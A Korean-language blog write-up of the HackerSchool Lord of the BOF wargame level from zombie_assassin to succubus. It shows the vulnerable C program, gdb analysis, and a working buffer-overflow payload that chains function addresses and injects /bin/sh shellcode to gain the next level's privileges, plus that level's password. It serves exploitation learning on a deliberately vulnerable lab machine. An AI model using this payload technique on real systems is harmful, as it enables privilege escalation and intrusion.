[lob] 해커스쿨 zombie_assassin -> succubus 풀이
- 보안/HackerSchool-lob
- 2020. 2. 5. 23:57
l 해커스쿨 zombie_assassin 풀이
실행 환경 : VMware Workstation Pro, Red Hat Linux 6.2
** 공부를 하면서 기록하는 내용이다 보니 틀린 내용이 있을 수도 있습니다. 틀린 부분이 있다면 댓글로 알려주시면 감사드리겠습니다. **
zombie_assassin 문제의 아이디인 zombie_assassin 와 password인 no place to hide 을 입력하여 zombie_assassin의 유저로 접속합니다.
[zombie_assassin@localhost zombie_assassin]$ cat succubus.c /* The Lord of the BOF : The Fellowship of the BOF - succubus - calling functions continuously */ #include <stdio.h> #include <stdlib.h> #include <dumpcode.h> // the inspector int check = 0; void MO(char *cmd) { if(check != 4) exit(0); printf("welcome to the MO!\n"); // olleh! system(cmd); } void YUT(void) { if(check != 3) exit(0); printf("welcome to the YUT!\n"); check = 4; } void GUL(void) { if(check != 2) exit(0); printf("welcome to the GUL!\n"); check = 3; } void GYE(void) { if(check != 1) exit(0); printf("welcome to the GYE!\n"); check = 2; } void DO(void) { printf("welcome to the DO!\n"); check = 1; } main(int argc, char *argv[]) { char buffer[40]; char *addr; if(argc < 2){ printf("argv error\n"); exit(0); } // you cannot use library if(strchr(argv[1], '\x40')){ printf("You cannot use library\n"); exit(0); } // check address addr = (char *)&DO; if(memcmp(argv[1]+44, &addr, 4) != 0){ printf("You must fall in love with DO\n"); exit(0); } // overflow! strcpy(buffer, argv[1]); printf("%s\n", buffer); // stack destroyer // 100 : extra space for copied argv[1] memset(buffer, 0, 44); memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100)); // LD_* eraser // 40 : extra space for memset function memset(buffer-3000, 0, 3000-40); } |
/home/zombie_assassin 하위에 있는 succubus.c 코드를 분석해보겠습니다.
1. argc는 2 이상이어야 합니다.
2. strstr은 문자열 비교 함수입니다. 일치하는 문자열이 있다면 그 문자열로 시작하는 문자열의 포인터를 반환합니다. 따라서 argv[1]에는 \x40과 일치하는 문자가 있어서는 안 됩니다. 즉 공유 라이브러리를 사용할 수 없습니다.
3. addr은 DO 함수의 주소입니다. return 부분이 DO의 주소와 일치해야 합니다.
4. 도, 개, 걸, 윷, 모 순서대로 함수가 불려야 합니다.
5. buffer + sfp는 0으로 초기화됩니다.
6. return 이후 100byte를 제외한 모든 부분이 다 0으로 초기화됩니다. 즉 사용할 수 있는 부분은 return 부분과 그 뒤 100byte입니다.
7. buffer - 3000부터 2,960byte를 0으로 만들어줍니다.
8. MO에서는 인자로 받은 *cmd를 system 함수로 실행시켜줍니다.
코드 분석 결과 도, 개, 걸, 윷, 모를 차례대로 실행시켜준 뒤 모에 인자로 셸 코드를 넘겨주면 될 것 같습니다. 함수들을 실행시켜주기 위해서 각 함수의 시작 주소를 알아야 합니다. gdb를 통해 찾아보겠습니다.
[zombie_assassin@localhost zombie_assassin]$ cp succubus zombie_assassin [zombie_assassin@localhost zombie_assassin]$ gdb zombie_assassin GNU gdb 19991004 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb) disas main Dump of assembler code for function main: 0x8048808 <main>:: push %ebp 0x804880b <main+3>: sub $0x2c,%esp 0x80488a9 <main+161>: lea 0xffffffd8(%ebp),%eax 0x80488ac <main+164>: push %eax 0x80488ad <main+165>: call 0x804847c <strcpy> ... (gdb) disas DO Dump of assembler code for function DO: 0x80487ec : push %ebp (gdb) disas GYE Dump of assembler code for function GYE: 0x80487bc : push %ebp (gdb) disas GUL Dump of assembler code for function GUL: 0x804878c : push %ebp (gdb) disas YUT Dump of assembler code for function YUT: 0x804875c : push %ebp (gdb) disas MO Dump of assembler code for function MO: 0x8048724 : push %ebp |
succubus 파일을 복사해 zombie_assassin 이름의 파일을 하나 생성하고 gdb로 분석해보았습니다. buffer는 ebp - 40부터 시작되고, 도(0x80487ec), 개(0x80487bc), 걸(0x804878c), 윷(0x804875c), 모(0x8048724)의 주소를 알 수 있습니다.
문제는 앞에서 풀었던 darkknight와 비슷한 느낌으로 풀었습니다. 아래 그림을 보며 자세히 설명하겠습니다.
1. 우선 코드에 따라 main의 return에 DO의 주소를 넣어주어야 합니다.
2. DO의 주소를 넣으면 +4byte는 DO의 return이 될 것입니다.
3. DO의 return 부분에 GYE의 주소를 넣습니다. 그럼 DO가 끝나고, GYE가 실행될 것입니다. 그리고 +4byte는 GYE의 return이 될 것입니다.
4. GUL과 YUT도 마찬가지입니다. GYE가 끝나면 return에 GUL의 주소가 있기 때문에 GUL이 실행될 것입니다.
5. YUT의 return에 MO의 주소를 넣어줍니다. 그럼 +4byte는 MO의 return이 될 것이고, MO는 파라미터가 있기 때문에 +8byte는 MO에 전달되는 인자가 들어갑니다. 따라서 +8byte에 Shell Code를 +4byte 즉, return 부분에 셸 코드의 주소를 넣어줍니다. 그럼 MO가 종료되면서 Shell Code를 실행할 것입니다.
대충 페이로드를 구성해보면 다음과 같습니다.
A*44 | DO의 주소 | GYE의 주소 | GUL의 주소 | YUT의 주소 | MO의 주소 | 셸 코드의 주소 | 셸 코드
그리고 return 이후 100byte의 공간만 유효하기 때문에 100에서 GYE의 주소 + GUL의 주소 + YUT의 주소 + MO의 주소 + + 셸 코드 주소를 한 값을 빼주어 셸 코드와 \x90을 채워주어야 합니다.
(gdb) b *main+170 Breakpoint 1 at 0x80488b2 (gdb) r `python -c 'print "\x90"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"AAAA"+"BBBB"'` Starting program: /home/zombie_assassin/zombie_assassin `python -c 'print "\x90"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"AAAA"+"BBBB"'` Breakpoint 1, 0x80488b2 in main () (gdb) x/100x $esp 0xbffffa44: 0xbffffa50 0xbffffbdf 0x080487ec 0x90909090 0xbffffa54: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffa64: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffa74: 0x90909090 0x90909090 0x080487ec 0x080487bc 0xbffffa84: 0x0804878c 0x0804875c 0x08048724 0x41414141 0xbffffa94: 0x42424242 0x00000000 0x080484b1 0x08048808 0xbffffaa4: 0x00000002 0xbffffac4 0x0804839c 0x0804894c 0xbffffab4: 0x4000ae60 0xbffffabc 0x40013e90 0x00000002 |
빨간색 부분이 셸 코드 주소가 들어갈 부분입니다. 시작 주소는 0xbffffa94라는 것을 알 수 있습니다. 그리고 100에서 4 + 4 + 4 + 4 + 4를 빼주면 80이고, 25byte의 셸 코드를 사용할 것이므로 80에서 25를 빼준 값을 \x90으로 채워주면 됩니다. 페이로드를 구성해보겠습니다.
| 페이로드
./zombie_assassin `python -c 'print "A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"\x04\xfa\xff\xbf"+"\x90"*55+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
[zombie_assassin@localhost zombie_assassin]$ bash2 [zombie_assassin@localhost zombie_assassin]$ ./zombie_assassin `python -c 'print "A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"\x04\xfa\xff\xbf"+"\x90"*55+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA켌\$úÿ¿1ÀPh//shh/bin‰ãPS‰á‰Â° Í€ welcome to the DO! welcome to the GYE! welcome to the GUL! welcome to the YUT! welcome to the MO! Segmentation fault (core dumped) |
위의 페이로드를 넣으니 core dumped가 떴습니다. 정확한 주소를 찾기 위해 core 파일을 분석하겠습니다.
[zombie_assassin@localhost zombie_assassin]$ gdb -c core GNU gdb 19991004 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux". Core was generated by ` '. Program terminated with signal 11, Segmentation fault. #0 0xbffffa04 in ?? () (gdb) x/20x $esp-40 0xbffffa2c: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffa3c: 0x40013ed0 0xbffffa4c 0x08048756 0x90909090 0xbffffa4c: 0x00000000 0xbffffa04 0x90909090 0x90909090 |
core 파일을 통해 셸 코드의 정확한 시작 지점이 0xbffffa54라는 것을 알 수 있습니다. 다시 위의 페이로드에서 셸 코드 주소만 바꾸어 실행시켜보겠습니다.
[zombie_assassin@localhost zombie_assassin]$ ./zombie_assassin `python -c 'print "A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"\x54\xfa\xff\xbf"+"\x90"*55+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA켌\$Túÿ¿1ÀPh//shh/bin‰ãPS‰á‰Â° Í€ welcome to the DO! welcome to the GYE! welcome to the GUL! welcome to the YUT! welcome to the MO! bash$ [zombie_assassin@localhost zombie_assassin]$ rm zombie_assassin [zombie_assassin@localhost zombie_assassin]$ ln -s succubus zombie_assassin [zombie_assassin@localhost zombie_assassin]$ ./zombie_assassin `python -c 'print "A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"\x54\xfa\xff\xbf"+"\x90"*55+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA켌\$Túÿ¿1ÀPh//shh/bin‰ãPS‰á‰Â° Í€ welcome to the DO! welcome to the GYE! welcome to the GUL! welcome to the YUT! welcome to the MO! bash$ id uid=516(zombie_assassin) gid=516(zombie_assassin) euid=517(succubus) egid=517(succubus) groups=516(zombie_assassin) bash$ my-pass euid = 517 here to stay |
zombie_assassin 파일을 실행한 결과 셸 취득을 했습니다. 기존의 파일을 지우고, 심볼릭 링크를 이용하여 다시 zombie_assassin이라는 이름으로 파일을 생성해주었습니다. 그리고 다시 실행하니 succubus 계정을 획득하였습니다. my-pass를 통해 succubus 계정의 password를 찾았습니다.
l succubus 비밀번호
euid = 517
here to stay
'보안 > HackerSchool-lob' 카테고리의 다른 글
[lob] 해커스쿨 nightmare -> xavius 풀이 (0) | 2020.02.11 |
---|---|
[lob] 해커스쿨 succubus -> nightmare 풀이 (0) | 2020.02.07 |
[lob] 해커스쿨 assassin -> zombie_assassin 풀이 (0) | 2020.02.01 |
[lob] 해커스쿨 giant -> assassin 풀이 (0) | 2020.01.30 |
[lob] 해커스쿨 bugbear -> giant 풀이 (0) | 2020.01.29 |
이 글을 공유하기